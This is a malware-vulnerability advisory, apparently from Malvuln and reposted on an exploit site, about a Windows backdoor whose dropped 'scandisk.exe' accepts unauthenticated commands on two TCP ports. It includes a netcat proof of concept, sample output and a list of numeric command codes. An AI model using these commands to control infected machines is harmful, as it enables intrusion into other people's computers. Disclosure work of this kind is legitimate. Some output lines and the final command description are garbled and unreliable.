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Backdoor.Win32.Antilam.13.a / Unauthenticated Remote Command Execution

CVE Category Price Severity
CWE-287 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2021-05-08
CPE
cpe:cpe:/a:exploit:backdoor-win32-antilam-13-a-unauthenticated-remote-command-execution
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021050042

Below is a copy:

Backdoor.Win32.Antilam.13.a / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1ef711b34cc278449f1997e4ed06334a.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Antilam.13.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware drops an executable named "scandisk.exe" that listens on TCP ports 47891 and 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Example, to get the date/time we can enter 015 or the hex value 0xF.
Type: PE
MD5: 1ef711b34cc278449f1997e4ed06334a
Vuln ID: MVID-2021-0204
Dropped files: scandisk.exe
Disclosure: 05/07/2021

Exploit/PoC:
001 + Enter (Gets system info)

nc64.exe 192.168.88.127 47891
001
 Windows: C:\WINDOWS
 System:
 Temp: C:\Users\Victim\AppData\Local\Temp\
  Windows: Windows NT 6.2 9200
   Windows: 688
  : DESKTOP-1B6KQJO
   : Victim
 Windows: English (United States)
: 1593x810
NumLock: Off
CapsLock: Off
ScrollLock: Off
 : 
   : 2,059,726,640
: DESKTOP-1B6KQJO

Other commands:

004 Taskbar
007 Monitor
009 Ctrl+Alt+Del
010 CapsLock
012 CD-ROM
015 or 0xF(HEX) Get Date/Time
018 Mouse was been unlocked
029 returns name of the current malware running
022 returns the 65784am ManagerAdministrator Command Prompt Promptrator)


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